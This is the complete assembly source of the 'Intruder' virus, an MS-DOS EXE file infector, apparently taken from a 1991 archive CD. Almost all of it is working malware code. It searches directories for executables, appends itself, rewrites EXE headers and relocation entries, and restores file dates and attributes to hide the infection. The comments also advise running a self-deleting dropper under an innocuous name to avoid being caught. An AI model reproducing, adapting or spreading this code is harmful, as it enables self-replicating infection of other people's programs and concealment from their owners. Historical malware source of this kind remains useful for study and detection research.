HPAVC/HPAVC CD-ROM.iso/SOURCE.ZIP/INTRUDER.ASM

Assembly Source File | 1991-04-01 | 33KB | 710 lines

;The Intruder Virus is an EXE file infector which can jump from directory to
;directory and disk to disk. It attaches itself to the end of a file and
;modifies the EXE file header so that it gets control first, before the host
;program. When it is done doing its job, it passes control to the host program,
;so that the host executes without a hint that the virus is there.


        .SEQ                       ;segments must appear in sequential order
                                   ;to simulate conditions in actual active virus


;MGROUP  GROUP   HOSTSEG,HSTACK     ;Host stack and code segments grouped together

;HOSTSEG program code segment. The virus gains control before this routine and
;attaches itself to another EXE file. As such, the host program for this
;installer simply tries to delete itself off of disk and terminates. That is
;worthwhile if you want to infect a system with the virus without getting
;caught. Just execute the program that infects, and it disappears without a
;trace. You might want to name the program something more innocuous, though.

HOSTSEG SEGMENT BYTE
        ASSUME  CS:HOSTSEG,SS:HSTACK

PGMSTR  DB 'INTRUDER.EXE',0

HOST:
        mov     ax,cs           ;we want DS=CS here
        mov     ds,ax
        mov     dx,OFFSET PGMSTR
        mov     ah,41H
        int     21H             ;delete this exe file
        mov     ah,4CH
        mov     al,0
        int     21H             ;terminate normally
HOSTSEG ENDS


;Host program stack segment

HSTACK  SEGMENT PARA STACK
        db  100H dup (?)        ;100 bytes long
HSTACK  ENDS

;------------------------------------------------------------------------
;This is the virus itself

STACKSIZE       EQU     100H           ;size of stack for the virus
NUMRELS         EQU     2              ;number of relocatables in the virus, which must go in the relocatable pointer table

;VGROUP  GROUP   VSEG,VSTACK    ;Virus code and stack segments grouped together

;Intruder Virus code segment. This gains control first, before the host. As this
;ASM file is layed out, this program will look exactly like a simple program
;that was infected by the virus.

VSEG    SEGMENT PARA
        ASSUME  CS:VSEG,DS:VSEG,SS:VSTACK

;data storage area comes before any code
VIRUSID DW      0C8AAH                ;identifies virus
OLDDTA  DD      0                     ;old DTA segment and offset
DTA1    DB      2BH dup (?)           ;new disk transfer area
DTA2    DB      56H dup (?)           ;dta for directory finds (2 deep)
EXE_HDR DB      1CH dup (?)           ;buffer for EXE file header
EXEFILE DB      '\*.EXE',0            ;search string for an exe file
ALLFILE DB      '\*.*',0              ;search string for any file
USEFILE DB      78 dup (?)            ;area to put valid file path
LEVEL   DB      0                     ;depth to search directories for a file
HANDLE  DW      0                     ;file handle
FATTR   DB      0                     ;old file attribute storage area
FTIME   DW      0                     ;old file time stamp storage area
FDATE   DW      0                     ;old file date stamp storage area
FSIZE   DD      0                     ;file size storage area
VIDC    DW      0                     ;storage area to put VIRUSID from new host .EXE in, to check if virus already there
VCODE   DB      1                     ;identifies this version

;--------------------------------------------------------------------------
;Intruder virus main routine starts here
VIRUS:
    push    ax        ;save startup info in ax
        mov     ax,cs
        mov     ds,ax           ;set up DS=CS for the virus
        mov     ax,es           ;get PSP Seg
        mov     WORD PTR [OLDDTA+2],ax   ;set up default DTA Seg=PSP Seg in case of abort without getting it
        call    SHOULDRUN       ;run only when certain conditions met signalled by z set
        jnz     REL1            ;conditions aren't met, go execute host program
        call    SETSR           ;modify SHOULDRUN procedure to activate conditions
        call    NEW_DTA         ;set up a new DTA location
        call    FIND_FILE       ;get an exe file to attack
        jnz     FINISH          ;returned nz - no valid file, exit
        call    SAVE_ATTRIBUTE  ;save the file attributes and leave file opened in r/w mode
        call    INFECT          ;move program code to file we found to attack
        call    REST_ATTRIBUTE  ;restore the original file attributes and close the file
FINISH: call    RESTORE_DTA     ;restore the DTA to its original value at startup
    pop    ax        ;restore startup value of ax
REL1:                           ;relocatable marker for host stack segment
        mov     bx,HSTACK       ;set up host program stack segment (ax=segment)
        cli                     ;interrupts off while changing stack
        mov     ss,bx
REL1A:                          ;marker for host stack pointer
        mov     sp,OFFSET HSTACK
        mov     es,WORD PTR [OLDDTA+2]  ;set up ES correctly
        mov     ds,WORD PTR [OLDDTA+2]  ;and DS
        sti                     ;interrupts back on
REL2:                           ;relocatable marker for host code segment
        jmp     FAR PTR HOST    ;begin execution of host program

;--------------------------------------------------------------------------
;First Level - Find a file which passes FILE_OK
;
;This routine does a complex directory search to find an EXE file in the
;current directory, one of its subdirectories, or the root directory or one
;of its subdirectories, to find a file for which FILE_OK returns with C reset.
;If you want to change the depth of the search, make sure to allocate enough
;room at DTA2. This variable needs to have 2BH * LEVEL bytes in it to work,
;since the recursive FINDBR uses a different DTA area for the search (see DOS
;functions 4EH and 4FH) on each level.
;
FIND_FILE:
        mov     al,'\'                  ;set up current directory path in USEFILE
        mov     BYTE PTR [USEFILE],al
        mov     si,OFFSET USEFILE+1
        xor     dl,dl
        mov     ah,47H
        int     21H                     ;get current dir, USEFILE= \dir
        cmp     BYTE PTR [USEFILE+1],0  ;see if it is null. If so, its the root
        jnz     FF2                     ;not the root
        xor     al,al                   ;make correction for root directory,
        mov     BYTE PTR [USEFILE],al   ;by setting USEFILE = ''
FF2:    mov     al,2
        mov     [LEVEL],al              ;search 2 subdirs deep
        call    FINDBR                  ;attempt to locate a valid file
        jz      FF3                     ;found one - exit
        xor     al,al                   ;nope - try the root directory
        mov     BYTE PTR [USEFILE],al   ;by setting USEFILE= ''
        inc     al                      ;al=1
        mov     [LEVEL],al              ;search one subdir deep
        call    FINDBR                  ;attempt to find file
FF3:
        ret                             ;exit with z flag set by FINDBR to indicate success/failure


;--------------------------------------------------------------------------
;Second Level - Find in a branch
;
;This function searches the directory specified in USEFILE for EXE files.
;after searching the specified directory, it searches subdirectories to the
;depth LEVEL. If an EXE file is found for which FILE_OK returns with C reset, this
;routine exits with Z set and leaves the file and path in USEFILE
;
FINDBR:
        call    FINDEXE         ;search current dir for EXE first
        jnc     FBE3            ;found it - exit
        cmp     [LEVEL],0       ;no - do we want to go another directory deeper?
        jz      FBE1            ;no - exit
        dec     [LEVEL]         ;yes - decrement LEVEL and continue
        mov     di,OFFSET USEFILE       ;'\curr_dir' is here
        mov     si,OFFSET ALLFILE       ;'\*.*' is here
        call    CONCAT          ;get '\curr_dir\*.*' in USEFILE
        inc     di
        push    di              ;store pointer to first *
        call    FIRSTDIR        ;get first subdirectory
        jnz     FBE             ;couldn't find it, so quit
FB1:                            ;otherwise, check it out
        pop     di              ;strip \*.* off of USEFILE
        xor     al,al
        stosb
        mov     di,OFFSET USEFILE
        mov     bx,OFFSET DTA2+1EH
        mov     al,[LEVEL]
        mov     dl,2BH          ;compute correct DTA location for subdir name
        mul     dl              ;which depends on the depth we're at in the search
        add     bx,ax           ;bx points to directory name
        mov     si,bx
        call    CONCAT          ;'\curr_dir\sub_dir' put in USEFILE
        push    di              ;save position of first letter in sub_dir name
        call    FINDBR          ;scan the subdirectory and its subdirectories (recursive)
        jz      FBE2            ;if successful, exit
        call    NEXTDIR         ;get next subdirectory in this directory
        jz      FB1             ;go check it if search successful
FBE:                            ;else exit, NZ set, cleaned up
        inc     [LEVEL]         ;increment the level counter before exit
        pop     di              ;strip any path or file spec off of original
        xor     al,al           ;directory path
        stosb
FBE1:   mov     al,1            ;return with NZ set
        or      al,al
        ret

FBE2:   pop     di              ;successful exit, pull this off the stack
FBE3:   xor     al,al           ;and set Z
        ret                     ;exit

;--------------------------------------------------------------------------
;Third Level - Part A - Find an EXE file
;
;This function searches the path in USEFILE for an EXE file which passes
;the test FILE_OK. This routine will return the full path of the EXE file
;in USEFILE, and the c flag reset, if it is successful. Otherwise, it will return
;with the c flag set. It will search a whole directory before giving up.
;
FINDEXE:
        mov     dx,OFFSET DTA1  ;set new DTA for EXE search
        mov     ah,1AH
        int     21H
        mov     di,OFFSET USEFILE
        mov     si,OFFSET EXEFILE
        call    CONCAT          ;set up USEFILE with '\dir\*.EXE'
        push    di              ;save position of '\' before '*.EXE'
        mov     dx,OFFSET USEFILE
        mov     cx,3FH          ;search first for any file
        mov     ah,4EH
        int     21H
NEXTEXE:
        or      al,al           ;is DOS return OK?
        jnz     FEC             ;no - quit with C set
        pop     di
        inc     di
        stosb                   ;truncate '\dir\*.EXE' to '\dir\'
        mov     di,OFFSET USEFILE
        mov     si,OFFSET DTA1+1EH
        call    CONCAT          ;setup file name '\dir\filename.exe'
        dec     di
        push    di
        call    FILE_OK         ;yes - is this a good file to use?
        jnc     FENC            ;yes - valid file found - exit with c reset
        mov     ah,4FH
        int     21H             ;do find next
        jmp     SHORT NEXTEXE   ;and go test it for validity

FEC:                            ;no valid file found, return with C set
        pop     di
        mov     BYTE PTR [di],0 ;truncate \dir\filename.exe to \dir
        stc
        ret
FENC:                           ;valid file found, return with NC
        pop     di
        ret


;--------------------------------------------------------------------------
;Third Level - Part B - Find a subdirectory
;
;This function searches the file path in USEFILE for subdirectories, excluding
;the subdirectory header entries. If one is found, it returns with Z set, and
;if not, it returns with NZ set.
;There are two entry points here, FIRSTDIR, which does the search first, and
;NEXTDIR, which does the search next.
;
FIRSTDIR:
        call    GET_DTA         ;get proper DTA address in dx (calculated from LEVEL)
        push    dx              ;save it
        mov     ah,1AH          ;set DTA
        int     21H
        mov     dx,OFFSET USEFILE
        mov     cx,10H          ;search for a directory
        mov     ah,4EH          ;do search first function
        int     21H
NEXTD1:
        pop     bx              ;get pointer to search table (DTA)
        or      al,al           ;successful search?
        jnz     NEXTD3          ;no, quit with NZ set
        test    BYTE PTR [bx+15H],10H    ;is this a directory?
        jz      NEXTDIR         ;no, find another
        cmp     BYTE PTR [bx+1EH],'.'    ;is it a subdirectory header?
        jne     NEXTD2          ;no - valid directory, exit, setting Z flag
                                ;else it was dir header entry, so fall through to next
NEXTDIR:                        ;second entry point for search next
        call    GET_DTA         ;get proper DTA address again - may not be set up
        push    dx
        mov     ah,1AH          ;set DTA
        int     21H
        mov     ah,4FH
        int     21H             ;do find next
        jmp     SHORT NEXTD1    ;and loop to check the validity of the return

NEXTD2:
        xor     al,al           ;successful exit, set Z flag
NEXTD3:
        ret                     ;exit routine

;--------------------------------------------------------------------------
;Return the DTA address associated to LEVEL in dx. This is simply given by
;OFFSET DTA2 + (LEVEL*2BH). Each level must have a different search record
;in its own DTA, since a search at a lower level occurs in the middle of the
;higher level search, and we don't want the higher level being ruined by
;corrupted data.
;
GET_DTA:
        mov     dx,OFFSET DTA2
        mov     al,2BH
        mul     [LEVEL]
        add     dx,ax                   ;return with dx= proper dta offset
        ret

;--------------------------------------------------------------------------
;Concatenate two strings: Add the asciiz string at DS:SI to the asciiz
;string at ES:DI. Return ES:DI pointing to the end of the first string in the
;destination (or the first character of the second string, after moved).
;
CONCAT:
        mov     al,byte ptr es:[di]     ;find the end of string 1
        inc     di
        or      al,al
        jnz     CONCAT
        dec     di                      ;di points to the null at the end
        push    di                      ;save it to return to the caller
CONCAT2:
        cld
        lodsb                           ;move second string to end of first
        stosb
        or      al,al
        jnz     CONCAT2
        pop     di                      ;and restore di to point to end of string 1
        ret


;--------------------------------------------------------------------------
;Function to determine whether the EXE file specified in USEFILE is useable.
;if so return nc, else return c
;What makes an EXE file useable?:
;              a) The signature field in the EXE header must be 'MZ'. (These
;                 are the first two bytes in the file.)
;              b) The Overlay Number field in the EXE header must be zero.
;              c) There must be room in the relocatable table for NUMRELS
;                 more relocatables without enlarging it.
;              d) The word VIRUSID must not appear in the 2 bytes just before
;                 the initial CS:0000 of the test file. If it does, the virus
;                 is probably already in that file, so we skip it.
;
FILE_OK:
        call    GET_EXE_HEADER         ;read the EXE header in USEFILE into EXE_HDR
        jc      OK_END                 ;error in reading the file, so quit
        call    CHECK_SIG_OVERLAY      ;is the overlay number zero?
        jc      OK_END                 ;no - exit with c set
        call    REL_ROOM               ;is there room in the relocatable table?
        jc      OK_END                 ;no - exit
        call    IS_ID_THERE            ;is id at CS:0000?
OK_END: ret                            ;return with c flag set properly

;--------------------------------------------------------------------------
;Returns c if signature in the EXE header is anything but 'MZ' or the overlay
;number is anything but zero.
CHECK_SIG_OVERLAY:
        mov     al,'M'                  ;check the signature first
        mov     ah,'Z'
        cmp     ax,WORD PTR [EXE_HDR]
        jz      CSO_1                   ;jump if OK
        stc                             ;else set carry and exit
        ret
CSO_1:  xor     ax,ax
        sub     ax,WORD PTR [EXE_HDR+26];subtract the overlay number from 0
        ret                             ;c is set if it's anything but 0

;--------------------------------------------------------------------------
;This function reads the 28 byte EXE file header for the file named in USEFILE.
;It puts the header in EXE_HDR, and returns c set if unsuccessful.
;
GET_EXE_HEADER:
        mov     dx,OFFSET USEFILE
        mov     ax,3D02H                ;r/w access open file
        int     21H
        jc      RE_RET                  ;error opening - C set - quit without closing
        mov     [HANDLE],ax             ;else save file handle
        mov     bx,ax                   ;handle to bx
        mov     cx,1CH                  ;read 28 byte EXE file header
        mov     dx,OFFSET EXE_HDR       ;into this buffer
        mov     ah,3FH
        int     21H
RE_RET: ret                             ;return with c set properly

;--------------------------------------------------------------------------
;This function determines if there are at least NUMRELS openings in the
;current relocatable table in USEFILE. If there are, it returns with
;carry reset, otherwise it returns with carry set. The computation
;this routine does is to compare whether
;    ((Header Size * 4) + Number of Relocatables) * 4 - Start of Rel Table
;is >= than 4 * NUMRELS. If it is, then there is enough room
;
REL_ROOM:
        mov     ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs
        add     ax,ax
        add     ax,ax
        sub     ax,WORD PTR [EXE_HDR+6] ;number of relocatables
        add     ax,ax
        add     ax,ax
        sub     ax,WORD PTR [EXE_HDR+24] ;start of relocatable table
        cmp     ax,4*NUMRELS            ;enough room to put relocatables in?
RR_RET: ret                             ;exit with carry set properly


;--------------------------------------------------------------------------
;This function determines whether the word at the initial CS:0000 in USEFILE
;is the same as VIRUSID in this program. If it is, it returns c set, otherwise
;it returns c reset.
;
IS_ID_THERE:
        mov     ax,WORD PTR [EXE_HDR+22] ;Initial CS
        add     ax,WORD PTR [EXE_HDR+8]  ;Header size
        mov     dx,16
        mul     dx
        mov     cx,dx
        mov     dx,ax                    ;cxdx = position to look for VIRUSID in file
        mov     bx,[HANDLE]
        mov     ax,4200H                 ;set file pointer, relative to beginning
        int     21H
        mov     ah,3FH
        mov     bx,[HANDLE]
        mov     dx,OFFSET VIDC
        mov     cx,2                     ;read 2 bytes into VIDC
        int     21H
        jc      II_RET                   ;couldn't read - bad file - report as though ID is there so we dont do any more to this file
        mov     ax,[VIDC]
        cmp     ax,[VIRUSID]             ;is it the VIRUSID?
        clc
        jnz     II_RET                   ;if not, then virus is not already in this file
        stc                              ;else it is probably there already
II_RET: ret


;--------------------------------------------------------------------------
;This routine makes sure file end is at paragraph boundary, so the virus
;can be attached with a valid CS. Assumes file pointer is at end of file.
SETBDY:
        mov     al,BYTE PTR [FSIZE]
        and     al,0FH              ;see if we have a paragraph boundary (header is always even # of paragraphs)
        jz      SB_E                ;all set - exit
        mov     cx,10H              ;no - write any old bytes to even it up
        sub     cl,al               ;number of bytes to write in cx
        mov     dx,OFFSET FINAL     ;set buffer up to point to end of the code (just garbage there)
        add     WORD PTR [FSIZE],cx     ;update FSIZE
        adc     WORD PTR [FSIZE+2],0
        mov     bx,[HANDLE]
        mov     ah,40H              ;DOS write function
        int     21H
SB_E:   ret

;--------------------------------------------------------------------------
;This routine moves the virus (this program) to the end of the EXE file
;Basically, it just copies everything here to there, and then goes and
;adjusts the EXE file header and two relocatables in the program, so that
;it will work in the new environment. It also makes sure the virus starts
;on a paragraph boundary, and adds how many bytes are necessary to do that.
;
INFECT:
        mov     cx,WORD PTR [FSIZE+2]
        mov     dx,WORD PTR [FSIZE]
        mov     bx,[HANDLE]
        mov     ax,4200H                ;set file pointer, relative to beginning
        int     21H                     ;go to end of file
        call    SETBDY                  ;lengthen to a paragraph boundary if necessary
        mov     cx,OFFSET FINAL         ;last byte of code
        xor     dx,dx                   ;first byte of code, DS:DX
        mov     bx,[HANDLE]             ;move virus code to end of file being attacked with
        mov     ah,40H                  ;DOS write function
        int     21H
        mov     dx,WORD PTR [FSIZE]     ;find 1st relocatable in code (SS)
        mov     cx,WORD PTR [FSIZE+2]
        mov     bx,OFFSET REL1          ;it is at FSIZE+REL1+1 in the file
        inc     bx
        add     dx,bx
        mov     bx,0
        adc     cx,bx                   ;cx:dx is that number
        mov     bx,[HANDLE]
        mov     ax,4200H                ;set file pointer to 1st relocatable
        int     21H
        mov     dx,OFFSET EXE_HDR+14    ;get correct old SS for new program
        mov     bx,[HANDLE]             ;from the EXE header
        mov     cx,2
        mov     ah,40H                  ;and write it to relocatable REL1+1
        int     21H
        mov     dx,WORD PTR [FSIZE]
        mov     cx,WORD PTR [FSIZE+2]
        mov     bx,OFFSET REL1A         ;put in correct old SP from EXE header
        inc     bx                      ;at FSIZE+REL1A+1
        add     dx,bx
        mov     bx,0
        adc     cx,bx                   ;cx:dx points to FSIZE+REL1A+1
        mov     bx,[HANDLE]
        mov     ax,4200H                ;set file pointer to place to write SP to
        int     21H
        mov     dx,OFFSET EXE_HDR+16    ;get correct old SP for infected program
        mov     bx,[HANDLE]             ;from EXE header
        mov     cx,2
        mov     ah,40H                  ;and write it where it belongs
        int     21H
        mov     dx,WORD PTR [FSIZE]
        mov     cx,WORD PTR [FSIZE+2]
        mov     bx,OFFSET REL2          ;put in correct old CS:IP in program
        add     bx,1                    ;at FSIZE+REL2+1 on disk
        add     dx,bx
        mov     bx,0
        adc     cx,bx                   ;cx:dx points to FSIZE+REL2+1
        mov     bx,[HANDLE]
        mov     ax,4200H                ;set file pointer relavtive to start of file
        int     21H
        mov     dx,OFFSET EXE_HDR+20    ;get correct old CS:IP from EXE header
        mov     bx,[HANDLE]
        mov     cx,4
        mov     ah,40H                  ;and write 4 bytes to FSIZE+REL2+1
        int     21H
                                        ;done writing relocatable vectors
                                        ;so now adjust the EXE header values
        xor     cx,cx
        xor     dx,dx
        mov     bx,[HANDLE]
        mov     ax,4200H                ;set file pointer to start of file
        int     21H
        mov     ax,WORD PTR [FSIZE]     ;calculate new initial CS (the virus' CS)
        mov     cl,4                    ;given by (FSIZE/16)-HEADER SIZE (in paragraphs)
        shr     ax,cl
        mov     bx,WORD PTR [FSIZE+2]
        and     bl,0FH
        mov     cl,4
        shl     bl,cl
        add     ah,bl
        sub     ax,WORD PTR [EXE_HDR+8] ;(exe header size, in paragraphs)
        mov     WORD PTR [EXE_HDR+22],ax;and save as initial CS
        mov     bx,OFFSET FINAL         ;compute new initial SS
        add     bx,10H                  ;using the formula SSi=(CSi + (OFFSET FINAL+16)/16)
        mov     cl,4
        shr     bx,cl
        add     ax,bx
        mov     WORD PTR [EXE_HDR+14],ax  ;and save it
        mov     ax,OFFSET VIRUS           ;get initial IP
        mov     WORD PTR [EXE_HDR+20],ax  ;and save it
        mov     ax,STACKSIZE              ;get initial SP
        mov     WORD PTR [EXE_HDR+16],ax  ;and save it
        mov     dx,WORD PTR [FSIZE+2]
        mov     ax,WORD PTR [FSIZE]     ;calculate new file size
        mov     bx,OFFSET FINAL
        add     ax,bx
        xor     bx,bx
        adc     dx,bx                   ;put it in ax:dx
        add     ax,200H                 ;and set up the new page count
        adc     dx,bx                   ;page ct= (ax:dx+512)/512
        push    ax
        mov     cl,9
        shr     ax,cl
        mov     cl,7
        shl     dx,cl
        add     ax,dx
        mov     WORD PTR [EXE_HDR+4],ax ;and save it here
        pop     ax
        and     ax,1FFH                 ;now calculate last page size
        mov     WORD PTR [EXE_HDR+2],ax ;and put it here
        mov     ax,NUMRELS              ;adjust relocatables counter
        add     WORD PTR [EXE_HDR+6],ax
        mov     cx,1CH                  ;and save data at start of file
        mov     dx,OFFSET EXE_HDR
        mov     bx,[HANDLE]
        mov     ah,40H                  ;DOS write function
        int     21H
        mov     ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table
        dec     ax                      ;in order to calculate location of
        dec     ax                      ;where to add relocatables
        mov     bx,4                    ;Location= (No in table-2)*4+Table Offset
        mul     bx
        add     ax,WORD PTR [EXE_HDR+24];table offset
        mov     bx,0
        adc     dx,bx                   ;dx:ax=end of old table in file
        mov     cx,dx
        mov     dx,ax
        mov     bx,[HANDLE]
        mov     ax,4200H                ;set file pointer to table end
        int     21H
        mov     ax,WORD PTR [EXE_HDR+22]  ;and set up 2 pointers: init CS = seg of REL1
        mov     bx,OFFSET REL1
        inc     bx                      ;offset of REL1
        mov     WORD PTR [EXE_HDR],bx   ;use EXE_HDR as a buffer to
        mov     WORD PTR [EXE_HDR+2],ax ;save relocatables in for now
        mov     ax,WORD PTR [EXE_HDR+22]  ;init CS = seg of REL2
        mov     bx,OFFSET REL2
        add     bx,3                    ;offset of REL2
        mov     WORD PTR [EXE_HDR+4],bx ;write it to buffer
        mov     WORD PTR [EXE_HDR+6],ax
        mov     cx,8                    ;and then write 8 bytes of data in file
        mov     dx,OFFSET EXE_HDR
        mov     bx,[HANDLE]
        mov     ah,40H                  ;DOS write function
        int     21H
        ret                             ;that's it, infection is complete!

;--------------------------------------------------------------------------
;This routine determines whether the reproduction code should be executed.
;If it returns Z, the reproduction code is executed, otherwise it is not.
;Currently, it only executes if the system time variable is a multiple of
;TIMECT. As such, the virus will reproduce only 1 out of every TIMECT+1
;executions of the program. TIMECT should be 2^n-1
;Note that the ret at SR1 is replaced by a NOP by SETSR whenever the program
;is run. This makes SHOULDRUN return Z for sure the first time, so it
;definitely runs when this loader program is run, but after that, the time must
;be an even multiple of TIMECT+1.
;
TIMECT  EQU     0               ;Determines how often to reproduce (1/64 here)
;
SHOULDRUN:
        xor     ah,ah           ;zero ax to start, set z flag
SR1:    ret                     ;this gets replaced by NOP when program runs
        int     1AH
        and     dl,TIMECT       ;is it an even multiple of TIMECT+1 ticks?
        ret                     ;return with z flag set if it is, else nz set


;--------------------------------------------------------------------------
;SETSR modifies SHOULDRUN so that the full procedure gets run
;it is redundant after the initial load
SETSR:
        mov     al,90H          ;NOP code
        mov     BYTE PTR SR1,al ;put it in place of RET above
        ret                     ;and return

;--------------------------------------------------------------------------
;This routine sets up the new DTA location at DTA1, and saves the location of
;the initial DTA in the variable OLDDTA.
NEW_DTA:
        mov     ah,2FH                  ;get current DTA in ES:BX
        int     21H
        mov     WORD PTR [OLDDTA],bx    ;save it here
        mov     ax,es
        mov     WORD PTR [OLDDTA+2],ax
        mov     ax,cs
        mov     es,ax                   ;set up ES
        mov     dx,OFFSET DTA1          ;set new DTA offset
        mov     ah,1AH
        int     21H                     ;and tell DOS where we want it
        ret

;--------------------------------------------------------------------------
;This routine reverses the action of NEW_DTA and restores the DTA to its
;original value.
RESTORE_DTA:
        mov     dx,WORD PTR [OLDDTA]    ;get original DTA seg:ofs
        mov     ax,WORD PTR [OLDDTA+2]
        mov     ds,ax
        mov     ah,1AH
        int     21H                     ;and tell DOS where to put it
        mov     ax,cs                   ;restore ds before exiting
        mov     ds,ax
        ret

;--------------------------------------------------------------------------
;This routine saves the original file attribute in FATTR, the file date and
;time in FDATE and FTIME, and the file size in FSIZE. It also sets the
;file attribute to read/write, and leaves the file opened in read/write
;mode (since it has to open the file to get the date and size), with the handle
;it was opened under in HANDLE. The file path and name is in USEFILE.
SAVE_ATTRIBUTE:
        mov     ah,43H          ;get file attr
        mov     al,0
        mov     dx,OFFSET USEFILE
        int     21H
        mov     [FATTR],cl      ;save it here
        mov     ah,43H          ;now set file attr to r/w
        mov     al,1
        mov     dx,OFFSET USEFILE
        mov     cl,0
        int     21H
        mov     dx,OFFSET USEFILE
        mov     al,2            ;now that we know it's r/w
        mov     ah,3DH          ;we can r/w access open file
        int     21H
        mov     [HANDLE],ax     ;save file handle here
        mov     ah,57H          ;and get the file date and time
        xor     al,al
        mov     bx,[HANDLE]
        int     21H
        mov     [FTIME],cx      ;and save it here
        mov     [FDATE],dx      ;and here
        mov     ax,WORD PTR [DTA1+28]   ;file size was set up here by
        mov     WORD PTR [FSIZE+2],ax   ;search routine
        mov     ax,WORD PTR [DTA1+26]   ;so move it to FSIZE
        mov     WORD PTR [FSIZE],ax
        ret

;--------------------------------------------------------------------------
;Restore file attribute, and date and time of the file as they were before
;it was infected. This also closes the file
REST_ATTRIBUTE:
        mov     dx,[FDATE]      ;get old date and time
        mov     cx,[FTIME]
        mov     ah,57H          ;set file date and time to old value
        mov     al,1
        mov     bx,[HANDLE]
        int     21H
        mov     ah,3EH
        mov     bx,[HANDLE]     ;close file
        int     21H
        mov     cl,[FATTR]
        xor     ch,ch
        mov     ah,43H          ;Set file attr to old value
        mov     al,1
        mov     dx,OFFSET USEFILE
        int     21H
        ret

FINAL:                                  ;last byte of code to be kept in virus

VSEG    ENDS


;--------------------------------------------------------------------------
;Virus stack segment

VSTACK  SEGMENT PARA STACK
        db STACKSIZE dup (?)
VSTACK  ENDS

        END VIRUS               ;Entry point is the virus